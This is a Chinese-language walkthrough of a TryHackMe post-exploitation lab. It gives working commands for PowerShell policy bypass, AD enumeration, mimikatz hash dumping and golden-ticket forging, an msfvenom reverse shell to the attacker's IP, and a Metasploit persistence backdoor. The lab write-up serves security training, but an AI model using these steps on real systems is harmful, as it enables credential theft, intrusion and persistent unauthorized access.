观前提示
本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/postexploit
介绍
本文主要涉及关于后渗透的基础知识,主要内容有:使用powerview 和Bloodhound 进行后渗透枚举、使用mimikatz 转储hash和进行黄金票据攻击、使用 Windows 服务器工具和日志收集基本信息。还将涉及权限维持的基础知识--使用metaploit 的持久化模块(persistence)在目标机器中创建一个后门,以便在目标下一次开机时获得即时的meterpreter shell(即使目标系统在下一次开机之前,已经进行了关机或重启操作)。
使用Powerview进行枚举
部署目标机器,使用ssh连接到目标:
#Username: Administrator
#Password: P@$$W0rd
#Domain Name: CONTROLLER
#Machine IP:10.10.119.28
ssh [email protected]
为方便操作,将绑定一下目标机器的dns:
#打开/etc/hosts ,添加以下内容
10.10.119.28 CONTROLLER.local
#如果在实验中途变动了目标机器的ip,则需要重新绑定一下
Powerview 是一个强大的 powershell 脚本,来自 powershell empire,当你已经在系统中获得一个 shell 后,可启动Powerview 用于枚举域。
为了方便学习,在本次实验环境中--PowerView 工具已经被放置在目标机器上。
关于PowerShell的执行策略以及绕过方法
为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设为受限的(Restricted),意味着PowerShell脚本无法执行,你可以使用下面的cmdlet命令确定当前的执行策略:Get-ExecutionPolicy
你可以选择使用的(PowerShell)执行策略有:
- Restricted - 本策略允许运行命令,但无法运行脚本。
- RemoteSigned - 本地创建的脚本可以运行,但从网上下载的脚本不能运行(除非它们拥有由受信任的发布者签署的数字签名),是Windows Server 2012 R2 之后的默认策略。
- AllSigned – 仅当脚本由受信任的发布者签名才能运行。
- Unrestricted – 脚本执行不受限制,不管来自哪里,也不管它们是否有签名,但是会有安全性提示,需要有administrator权限才可以设置。
- ByPass-任何脚本都可以执行,且没有任何安全性提示。
- Undefined - 没有设置脚本执行策略。
- Default - 默认策略,对客户端是Restricted,对服务端是RemoteSigned.
你可以使用下面的cmdlet命令设置PowerShell的执行策略(设置时可能需要有管理员权限):Set-ExecutionPolicy <policy name>
。
具体绕过PowerShell执行策略的方法:
- cmd中:
powershell -ep bypass
- powershell中:
Set-ExecutionPolicy Bypass -Scope Process
- 当有administrator权限的时候可以直接使用
Set-ExecutionPolicy Unrestricted
也可以参考下面的链接:绕过powershell执行策略的方法
进行枚举
1.) 启动Powershell - powershell -ep bypass
- ep可以绕过powershell的执行策略,让你轻松运行脚本(此处使用的绕过功能可能不起作用)。
2.) 加载脚本(先切换到脚本所在目录\Downloads). .\PowerView.ps1
(此处可能需要:Set-ExecutionPolicy Bypass -Scope Process
)
. ./test1.ps1 #把test1.ps1加载到内存,注意两个点之间有一个空格
3.) 枚举域用户Get-NetUser | select cn
4.) 枚举域组Get-NetGroup -GroupName *admin*
下面是帮助你使用PowerView命令的备忘录:
https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview
枚举共享-Invoke-ShareFinder
枚举域中的操作系统-Get-NetComputer -fulldata | select operatingsystem
枚举 kerbroastable 用户-Get-NetUser -SPN | select cn
答题卡
使用Bloodhound进行枚举
Bloodhound 是一个图形界面,可以让你直观地绘制网络图谱,该工具可以结合SharpHound脚本(类似于 PowerView )一起获取域网络中的用户、组、信任等,并将它们收集到 .json 文件中以在 Bloodhound内部使用。
本小节重点关注如何收集 .json 文件以及如何将它们导入 Bloodhound。
为了方便学习,在本次实验环境中--SharpHound脚本已经被放置在目标机器上。
实验环境下所提供的脚本版本和最新的BloodHound 已经不适配
解决方法:使用最新版的BloodHound和neo4j,那就需要最新版的SharpHound ,我们上传一个最新版的SharpHound .exe文件到目标机上。
下载最新版的SharpHound .exe文件(不要用wget下载,否则下载到的exe文件中可能会包含html内容)
下载地址:https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe
上传最新版的SharpHound .exe文件到目标机:
scp SharpHound.exe [email protected]:SharpHound.exe
#目标机密码:P@$$W0rd
BloodHound 安装(在之前的博客文章中有提到)
1.) 安装工具:常规安装方式 apt-get install bloodhound
会下载最新版的BloodHound。
注意:BloodHound GUI 4.1.0之后的版本以及所使用的数据采集工具都经过重构,对部分windows系统执行采集数据时兼容性较差,且4.1.0版本对应采集工具的数据结果与4.0.3版本是不通用的。
访问项目地址查看不同版本的BloodHound GUI:https://github.com/BloodHoundAD/BloodHound/releases
本文使用的是最新版BloodHound GUI
2.) neo4j console
启动图形化数据库Neo4j的控制台,默认凭证为-> neo4j: neo4j
修改密码(密码修改完成之后即会显示成功连接):
结合SharpHound 脚本获取域信息(在目标机上操作)
1.) 在cmd命令行界面执行命令:powershell -ep bypass
绕过执行策略打开powershell 界面(绕过功能可能不生效)
2.) . .\Downloads\SharpHound.ps1
加载脚本(如果加载失败,则先输入Set-ExecutionPolicy Bypass -Scope Process
)
3.) Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip
获取目标域信息,打包成loot.zip文件
因为实验环境下目标机上的SharpHound 脚本和最新版的BloodHound 并不兼容,所以此处使用我们之前上传的SharpHound.exe文件,来收集目标域信息。
. .\SharpHound.exe --collectionmethods All --domain CONTROLLER.local --zipfilename loot.zip
#. .表示加载到内存,注意两点之间有一个空格,另外Windows系统中的命令不区分大小写,以上使用小写字母部分的命令能够成功执行
将xxxxxx_loot.zip 文件传输到攻击机(使用scp命令,前提是攻击机已经安装了ssh服务)
#在攻击机上操作 .表示攻击机上的当前工作目录
scp [email protected]:20221018104615_loot.zip .
#目标机密码:P@$$W0rd
#如果想从目标机的powershell界面输入scp命令,以将文件传输到攻击机上,那么可能需要先修改攻击机上的ssh配置文件
使用BloodHound 映射网络图谱(在攻击机上操作)
1.) 输入bloodhound
启动BloodHound (在BloodHound 运行之前必须先开启neo4j数据库,之前已经开启了,此处保证之前的neo4j不断开就行)
2.) 使用之前登录Neo4j控制台网页的凭证来登录BloodHound GUI
3.) 导入之前的zip文件
如果导入失败,请使用下图方式导入zip文件:
4.) 查看目标域的信息图谱,打开菜单并选择查询,这将为你提供一个预编译查询列表:有大量的查询可供选择并能枚举网络内部的连接。
答题卡
使用mimikatz 转储哈希
Mimikatz 是一个非常流行和强大的后渗透工具,主要用于在活动目录(AD)网络中转储用户凭证。
在本小节中,我们将专注于使用 mimikatz 转储 NTLM 哈希,然后使用 hashcat 破解这些哈希
为了方便学习,在本次实验环境中--mimikatz 工具已经被放置在目标机器上。
使用 mimikatz 转储哈希(在目标机上操作)
1.)cd Downloads && mimikatz.exe
进入到保存 mimikatz 的目录并运行 mimikatz 二进制文件。
2.)privilege::debug
确保输出为“Privilege '20' ok” - 这证明你是以管理员身份运行 mimikatz;如果你不以管理员身份启动 mimikatz,mimikatz 将无法正常运行。
3.)lsadump::lsa /patch
转储目标机上的哈希值!
使用 hashcat 破解哈希(在攻击机上操作)
1.)hashcat -m 1000 <hash> rockyou.txt
先保存到攻击机上,从目标机上复制hash内容并保存为.txt文件。
#在攻击机上操作:先将终端界面切换到所保存的.txt文件所在的目录
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
答题卡
使用mimikatz 进行金票攻击
再次使用与前一个小节相同的工具; 然而,这次我们将使用它来创建一个黄金票据。
我们将首先转储 krbtgt 用户的 hash 和 sid,然后创建一个黄金票据,并使用该黄金票据打开一个新的命令提示符界面,这将允许我们访问网络上的任何机器。
转储krbtgt哈希值(在目标机上操作)
1.) cd downloads && mimikatz.exe
- 进入到保存 mimikatz.exe 的目录并运行 mimikatz.exe 可执行文件
2.) privilege::debug
- 确保输出结果为:[privilege "20" ok]
3.) lsadump::lsa /inject /name:krbtgt
- 这将转储 Kerberos TGT帐户的 hash值和安全标识符,从而允许你创建一个黄金票据。
请注意上图红色方框圈出来的部分,你需要这些信息来创建黄金票据
创建黄金票据(在目标机上操作)
# kerberos::golden /user: /domain: /sid: /krbtgt: /id:
kerberos::golden /user:Administrator /domain:CONTROLLER.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500
使用金票进入其他机器
1.) misc::cmd
- 这将打开一个新的命令提示符界面,该提示符界面对所有计算机都具有更高的权限
此处要在攻击机上通过RDP远程连接到目标机,并且通过RDP远程操作完成整个金票攻击过程,才能在目标机器上看到一个打开的新的命令提示符界面(使用ssh连接目标机进行操作无法看到效果)。
#RDP连接命令示意,请自行将ip修改为目标机ip
rdesktop -u Administrator -d CONTROLLER 10.10.48.45 #password:P@$$W0rd
2.) 访问其他机器! - 现在你将拥有另一个命令提示符界面,可以让你访问该局域网络上的所有其他计算机
注意:由于 tryhackme 当前不支持网络,在本次实验环境下将无法访问其他机器。
使用服务器管理器进行信息枚举
除非进行维护,否则服务器几乎不会登录,这为枚举提供了一种简单的方法:仅使用内置的 Windows 功能,例如server manager
(服务器管理器)。
如果你已经拥有域管理员身份,那么你对服务器管理器就有很多访问权限,以便更改信任、添加或删除用户、查看组等,这可能是一个很好的入口点,可以在目标域中的机器上查找其他用户的敏感信息或查找域网络中有权访问其他网络的其他用户以转向另一个局域网络继续进行渗透。
访问服务器管理器的唯一方法是通过rdp进入服务器,我们接下来通过 rdp 连接目标服务器即可。
在本文中,将只讨论使用服务器管理器查看用户、组和信任等基础知识,但是在使用服务器管理器进行枚举信息时,你还可以解决许多其他问题,如果你还没有枚举目标域网络使用的是哪种防火墙,那么通过查看服务器管理器中的信息也是一种简单识别目标防火墙的方法。
使用RDP连接到目标服务器
rdesktop -u Administrator -d CONTROLLER 10.10.48.45 #password:P@$$W0rd
#这里输入的是目标ip,因为我重启了环境,所以此处的目标ip和之前的不一样(重启环境后,攻击机上的hosts文件中的dns信息也要重新填写)
也可以在kali里面安装RDP管理工具:
apt install remmina
#打开remmina,使用凭据连接到目标服务器。
使用Server Manager枚举信息
下图所示界面是你第一次打开 Windows 服务器管理器时的外观界面,最主要的选项卡是工具和管理选项卡:工具选项卡是你可以找到大部分信息的地方,例如域网络中的用户、组、信任、计算机等信息;管理选项卡将允许你添加角色和功能,但这可能会相对较快地被系统管理员发现。
此处不用关心 AD CS、AD DS、DNS 或文件和存储服务等信息,这些设置对利用活动目录(AD)有帮助,但是对后渗透环节帮助不大。
导航到“工具”选项卡并选择“ ActiveDirectory 用户和计算机”
这将列出域网络中所有用户的列表以及一些其他有用的选项卡,例如组和计算机。
一些系统管理员可能没有意识到你作为攻击者可以看到关于用户帐户的描述,因此他们可能会在描述中设置服务帐户密码,在本次实验环境中------你可以查看服务账户描述并找到 SQL 服务密码。
答题卡
维持访问
有很多方法可以维持对目标机器或网络的访问,我们将介绍一种相当简单的维持访问的方法,首先设置一个meterpreter shell,然后使用metasploit的persistence模块,这将允许我们在目标系统中创建后门服务。
成功在目标系统中创建后门以后--即使目标机器关机或重启,我们也能够(在目标机下一次开机时)获得一个即时的meterpreter shell界面。
还有其他维护访问权限的方法,例如高级后门和 rootkit,但这些知识点不在本文涉及的范围之内。
使用msfvenom生成有效载荷(主要在攻击机上操作)
1.) msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -o shell.exe
这将生成一个简单的 windows meterpreter 反向 tcp shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.14.32.186 LPORT=4444 -f exe -o shell.exe
#这里的LHOST为攻击机的tun0 ip地址
2.) 将生成的payload从攻击机传输到目标机。
scp shell.exe [email protected]:shell.exe
#password:P@$$W0rd
3.) 输入msfconsole -q
启动msf, use exploit/multi/handler
- 这将在你之前所设置的攻击机端口上创建一个监听器。
4.) 将payload配置为Windows Meterpreter shell:set payload windows/meterpreter/reverse_tcp
5.) 在将“ LHOST”参数设置为攻击机tun0 ip(set LHOST 10.14.32.186
)之后,使用run
命令启动监听器。
由上图可知:此处的端口号不用手动设置,建议使用show options命令查看设置是否有误。
6.) 在目标机上执行刚才上传的payload文件,目标机自动回连攻击机,在攻击机终端上将显示一个meterpreter shell 界面。
7.) 确认我们有一个 meterpreter shell之后,再使用bg
命令将这个shell后台化处理,然后接下来准备运行msf中的持久化(persistence)模块。
运行持久化(persistence)模块
1.) use exploit/windows/local/persistence
默认情况下,该模块将每10秒发送一个payload,你也可以自行设置这个间隔时间。
2.) set session i
将会话设置为我们刚才后台化处理的meterpreter会话, i 对应的是会话编号(你可以使用msf中的 sessions
命令列出正在活动的会话)
sessions
set session 5
3.) set LHOST 10.14.32.186
将“ LHOST”参数设置为攻击机tun0 ip
4.) 设置payload参数set payload windows/meterpreter/reverse_tcp
,这里不手动设置参数也可以,因为默认使用的就是该参数配置。
5.) 接着输入run
命令,执行persistence模块(建议先使用show options命令对设置的参数进行自检)。
分析上图中的后门创建过程:
1.写入VBS 脚本到目标机的C:\Users\Administrator\AppDats\Local\Temp\UKtAHmUJLNPK.vbs
2.安装VBS脚本对应的注册表文件SfKxXfe(放在Run文件夹下)并设置为开机自动运行
3.清理后门创建过程中产生的和日志相关的RC(资源)文件
一般情况下,如果目标系统因为任何原因关机或重启(在本次实验环境下可以通过RDP远程连接来控制目标机关机或者重启),你将丢失你之前创建的meterpreter会话,但是通过使用persistence模块,你可以在系统中创建一个后门以便维持访问。
成功在目标系统中留下后门以后,当目标机器再次开机时(在本次实验环境下通过RDP连接目标机来实现目标机的再次开机),使用以下命令重新建立会话:
use exploit/multi/handler
# set payload windows/meterpreter/reverse_tcp 此处不设置也可以,因为默认的payload参数就是windows/meterpreter/reverse_tcp
run
#重新建立的meterpreter会话是新会话(会话编号和之前的不一样)
总结
学习资源
- https://blog.harmj0y.net/
- https://adsecurity.org/?page_id=1821
- https://metasploit.help.rapid7.com/docs/about-post-exploitation
- http://www.pentest-standard.org/index.php/Post_Exploitation
- https://offsec.red/mimikatz-cheat-sheet/
- https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
使用的工具
- https://github.com/gentilkiwi/mimikatz
- https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1